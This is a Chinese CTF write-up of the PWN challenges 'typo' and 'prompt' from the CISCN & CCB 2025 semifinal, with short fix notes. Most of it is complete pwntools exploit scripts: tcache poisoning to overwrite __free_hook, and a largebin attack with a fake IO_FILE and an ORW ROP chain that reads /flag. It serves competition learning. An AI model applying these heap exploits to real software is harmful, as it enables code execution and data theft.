CISCN&CCB半决赛_2025_PWN_WP

前言:

记录一下第一次打半决赛国赛,总结来说还是自己太菜了,还有check脚本是真的很shi,正规军白给了。。。

typo

break

edit函数内部,使用了snprintf 来实现,漏洞是因为,size参数和格式化的参数顺序反过来了。导致了堆溢出以及格式化字符串漏洞

后来在栈上发现没有合适的链子使用,但是可以直接通过堆溢出漏洞来进行实现teache bin attack

没有show函数来进行泄露地址,但是可以通过teache bin attack 来打IO泄露地址,之后拿到地址之后就可以继续teache bin attack

来打__free_hook.

EXP:
from gt import *
con("amd64")

io = process("./pwn")
libc = ELF("./libc-2.31.so")

def add(index,size):
   io.sendlineafter(">> ","1")
   io.sendlineafter("Index: ",str(index))
   io.sendlineafter("Size: ",str(size))




def free(index):
   io.sendlineafter(">> ","2")
   io.sendlineafter("Index: ",str(index))



def edit(index,size,msg):
   io.sendlineafter(">> ","3")
   io.sendlineafter("Index: ",str(index))
   io.sendafter("content: ",size)
   io.sendafter("want to say: ",msg)


# add(0,0x20)
# add(1,0x28)
# add(2,0x28)
# add(3,0x28)
# add(4,0xf8)
# free(1)
for i in range(0x6):
   add(i,0x78)
add(7,0x20)
add(8,0x78)
add(9,0x30)
add(10,0x78)
add(11,0x10)
add(12,0x78)
add(13,0x28)
add(14,0x28)
add(15,0x28)
add(16,0x28)
add(17,0x28)
# gdb.attach(io)

payload = b'd'*0x40 + b"/bin/sh\x00"

edit(16,payload,'a')
payload = b'd'*0x38 + p64(0x41)

edit(16,payload,'a')

# add(11,0x78)
payload = b'a'*0x88 + p64(0xd1)
edit(8,payload,'a')
free(9)
add(9,0xc0)
for i in range(0,5):
   free(i)
free(12)
free(8)
free(10)

payload = b'a'*0x30
edit(7,payload,'a')
payload = b'a'*0x28 + p64(0x91)
edit(7,payload,'a')
payload = b'a'*0x30 + p64(0x91) + b'\x90\x76'
# gdb.attach(io)
edit(9,'\xc0',payload)
add(0,0x78)
# gdb.attach(io)
add(1,0x78)
add(2,0x78)
payload =b'\x00'*0x8+ p64(0xfbad1887) + p64(0) * 3 + b'\x00'
edit(2,b'\x78',payload)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ec980
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
free(15)
free(14)
# gdb.attach(io)
payload = b'a'*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)
edit(13,payload,'aa')
payload = b'a'*0x38 + b'\x41'
edit(13,payload,'aa')
add(14,0x28)
add(15,0x28)
edit(15,'\x28',b'\x00'*8+p64(system))

free(17)
# add(0,0x78)
# gdb.attach(io)

io.interactive()
fix

snprintf换成printf

或者直接nop掉这个函数

prompt

break

开启了沙箱并且加了一层protobuf的壳

漏洞存在于edit函数

这里对size没有做大小检查,导致堆溢出,可以通过这一点来泄露地址,然后通过largebin attack 来打io

EXP:
from gt import *
import ctf_pb2

con("amd64")

io = process("./pwn")
libc = ELF("./libc.so.6")


def add(index,size,msg):
   proto = ctf_pb2.HeapPayload()
   proto.option = 1
   proto.chunk_sizes.append(size)
   proto.heap_chunks_id.append(index)
   proto.heap_content = msg
   sd = proto.SerializeToString()
   io.sendafter("Your prompt >> ",p32(len(sd)))
   io.send(sd)

def free(index):
   proto = ctf_pb2.HeapPayload()
   proto.option = 2
   proto.chunk_sizes.append(0)
   proto.heap_chunks_id.append(index)
   proto.heap_content = b'BabyShark'
   sd = proto.SerializeToString()
   io.sendafter("Your prompt >> ",p32(len(sd)))
   io.send(sd)


def edit(index,size,msg):
   proto = ctf_pb2.HeapPayload()
   proto.option = 3
   proto.chunk_sizes.append(size)
   proto.heap_chunks_id.append(index)
   proto.heap_content = msg
   sd = proto.SerializeToString()
   io.sendafter("Your prompt >> ",p32(len(sd)))
   io.send(sd)

def show(index):
   proto = ctf_pb2.HeapPayload()
   proto.option = 4
   proto.chunk_sizes.append(0)
   proto.heap_chunks_id.append(index)
   proto.heap_content = b'BabyShark'
   sd = proto.SerializeToString()
   io.sendafter("Your prompt >> ",p32(len(sd)))
   io.send(sd)


def exit():
   proto = ctf_pb2.HeapPayload()
   proto.option = 5
   proto.chunk_sizes.append(0)
   proto.heap_chunks_id.append(1)
   proto.heap_content = b'BabyShark'
   sd = proto.SerializeToString()
   io.sendafter("Your prompt >> ",p32(len(sd)))
   io.send(sd)



add(0,0x100,b'a'*0x10)
add(1,0x100,b'b'*0x10)
add(2,0x100,b'c'*0x10)

free(1)
payload = b'd'*0x100 + b'e'*0x10
edit(0,len(payload),payload)
show(0)
io.recvuntil("e"*0x10)
heap_base = u64(io.recv(5).ljust(8,b'\x00'))
heap_base = (heap_base << 12) - 0x7000
suc("heap_base",heap_base)
# gdb.attach(io)
payload = b'd'*0x100 + p64(0) + p64(0x111)
edit(0,len(payload),payload)
add(1,0x100,b'b'*0x10)
for i in range(7):
   add(i+3,0x210,b'a')

add(10,0x210,b'2'*8)
add(11,0x210,b'b')
add(12,0x210,b'b')
for i in range(7):
   free(i+3)

free(11)
payload = b'2'*0x210 + b'3' * 0x10
edit(10,len(payload),payload)
show(10)
io.recvuntil("3"*0x10)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x203d30

suc("libc_base",libc_base)
payload = b'2'*0x210 + p64(0) + p64(0x221)
edit(10,len(payload),payload)
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_2_1_stderr_ = libc_base + libc.sym["_IO_2_1_stderr_"]
for i in range(3):
   free(i)

add(0,0x440,b'a')

add(1,0x430,b'a')
add(2,0x430,b'a')
add(3,0x340,b'a')
add(4,0x440,b'a')
add(5,0x440,b'a')
add(6,0x450,b'a')
add(7,0x440,b'a')
add(8,0x1f0,b'a')
free(5)
add(5,0x500,b'a')
payload = b'a'*0x440 + p64(0x8a0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(_IO_list_all-0x20)*2
fake_io_addr = heap_base +  0x5d90
gdb.attach(io)
edit(4,len(payload),payload)
free(1)
add(1,0x500,b'a')
add(9,0x430,b'a')
payload = b'a'*0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(fake_io_addr)*2

edit(4,len(payload),payload)
add(11,0x430,b'a')

# add(3,0x10,b'\x00')
# gdb.attach(io)
# add(1,0x310,p64(fake_io_addr))
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fb6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a877e#: pop rcx; ret;




orw_addr = fake_io_addr + 0x150
fake_IO_FILE=p64(0)*3       #_flags=rdi
fake_IO_FILE+=p64(_IO_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system) mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
fake_IO_FILE +=p64(0) + p64(1) + p64(0) + p64(orw_addr-0x20) # rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x2000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE += p64(0)*7 + p64(orw_addr+8) + p64(pop_rdi+1)
flag_addr = orw_addr + 0x80
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rcx)+ p64(0x40)+p64(sendfile) + b"/flag\x00"

fake_IO_FILE += orw

edit(11,len(fake_IO_FILE),fake_IO_FILE)

'''
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fa6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a876e#: pop rcx; ret;
'''
# gdb.attach(io)
exit()
io.interactive()
   

fix

将n该小即可防止溢出

post_quantum

fix

这个我看网上修的方法有很多,这里是把解密函数的两个freeban

CISCN&CCB半决赛_2025_PWN_WP的更多相关文章

  1. Google云平台对于2014世界杯半决赛的预测,德国阿根廷胜!

    由于本人是个足球迷,前段日子Google利用自己云平台预测世界杯八进四的比赛并取得了75%的正确率的事情让我振动不小.虽然这些年一直听说大数据的预测和看趋势能力如何如何强大,但这次的感受更加震撼,因为 ...

  2. openssl evp 对称加密(AES_ecb,ccb)

    openssl evp 对称加密(AES_ecb,ccb) evp.h 封装了openssl常用密码学工具,以下主要说对称加密的接口 1. 如下使用 aes_256_ecb 模式的加密解密测试代码 u ...

  3. cocos2d-x绑定ccb文件

    首先,ccb文件是如何生成的,我就不多说了,大家可以搜下cocosbuilder,就能找的相关的教程,而通过cocosbuilder,我们可以省去了很多设计的麻烦,比如设计一个精灵的位置啥的,而通过c ...

  4. 通过ccb(CocosBuilder)文件生成cocos2dx代码

    在C++下使用ccb.绑定调用,成员变量.让人头疼又easy犯错. 自己用pythong写了个小程序,通过ccb文件直接生成C++代码 python我用的不多.又是随性所做.代码质量就非常差.大家多多 ...

  5. SpriteBuilder中使用Node类型的ccb动画节点删除时崩溃的问题

    因为节点需要呈现动画效果,虽然只有两个不同帧. 在SpriteBuilder中新建Bullet.ccb文件,类型为node. 添加如上2张图片,并制作动画效果帧. 在游戏中子弹遇到障碍物会被删除,时机 ...

  6. SpriteBuilder复杂CCB在App场景加载时报错排查

    Player.CCB由body和arm两部分组成,它们都开启物理使能. 在GameScene.ccb中新建一个物理对象,将Player.ccb拖入该对象.此时编译运行App均正常. 然后继续添加其他物 ...

  7. 为CCB中的Sprite子类化CCSprite的一个问题

    这时一个特定的错误发生在运行app或者loading场景的时候: reason: '[<NameOfClass 0x7a043520> setValue:forUndefinedKey:] ...

  8. SpriteBuilder中CCB精灵对象的Sprite frame为什么有时候不能修改

    有时候你会发现CCB中的精灵对象(root节点)的Sprite frame是灰色的,不能修改.因为它是根对象,所以不存在被嵌入其他CCB的情况,那到底是什么原因呢? 可以发现此时的Timeline当前 ...

  9. SpriteBuilder修改CCB文件中的子CCB文件需要注意的一个地方

    在SpriteBuilder中如果一个CCB(比如一个场景)中嵌入了另一个子CCB文件(比如一个player),那么当给该子CCB中的root对象添加若干属性的时候,必须注意到这个并没有应用到父CCB ...

  10. SpriteBuilder切换解决方案以及CCB的修改与保存

    在SpriteBuilder中切换解决方案非常简单,可以按cmd+数字键即可. 如上图可以看到数字键1,2,3分别对应于3中不同的解决方案. 注意:当通过在CCB中包含一个Sub File Node的 ...

随机推荐

  1. java中基于swing库自定义分页组件

    一个swing的分页组件,代码见附件. //用法如下:  Class Test{      JTable table ;      StatusBar statusBar ;      Test(){ ...

  2. JavaWeb代码架构中类之间的引用关系

    为了加深对Java Web代码架构中类之间的引用关系的理解和记忆,特绘制了这一张图. Java EE应用架构:

  3. WxPython跨平台开发框架之模块字段权限的管理

    在我的很多Winform开发项目中,统一采用了权限管理模块来进行各种权限的控制,包括常规的功能权限(工具栏.按钮.菜单权限),另外还可以进行字段级别的字段权限控制,字段权限是我们在一些对权限要求比较严 ...

  4. Docker安装Redis并设置密码

    1. 镜像下载 docker pull redis 2. 创建目录 mkdir -p /etc/redis/redis.conf mkdir -p /data/redis 3. 启动容器 docker ...

  5. Docker Inspect 模板

    Docker 使用Go 模板,您可以使用它来操作某些命令和日志驱动程序的输出格式. Docker 提供了一组基本函数来操作模板元素.所有这些示例都使用该docker inspect命令,但许多其他 C ...

  6. G1原理—6.G1垃圾回收过程之Full GC

    大纲 1.FGC的一些前置处理 2.FGC的整体流程 3.传统FGC只能串行化 + G1的FGC可以并发化 4.并行化FGC之并行标记 + 任务窃取 5.并行化FGC之跨分区压缩 + 避免对象跨分区 ...

  7. 一个DataGridView辅助类

    DataGridView是在用C#做windows界面程序时常用到的控件,DataGridView的功能非常多,用起来也非常复杂 例如1. 我想在每行前面显示行编号,则需要先设置RowHeadersV ...

  8. $router.options.routes取不到全部路由

    最近在看老项目的路由逻辑 项目使用constantRoutes和asyncRoutes分别代表基本路由和动态路由.createRouter时,传入的routes参数只有基本路由 在路由导航守卫中,判断 ...

  9. linux实现人脸识别锁定解锁

    环境 archlinux 桌面管理器i3wm 登录管理器 slim python 3.10.4 dlib pip install --user -i https://pypi.tuna.tsinghu ...

  10. LeetCode刷题:AddressSanitizer: heap-buffer-overflow问题请教||全局变量和引用传递的区别

    在刷 https://leetcode.cn/problems/sudoku-solver/description/ 遇到AddressSanitizer: heap-buffer-overflow的 ...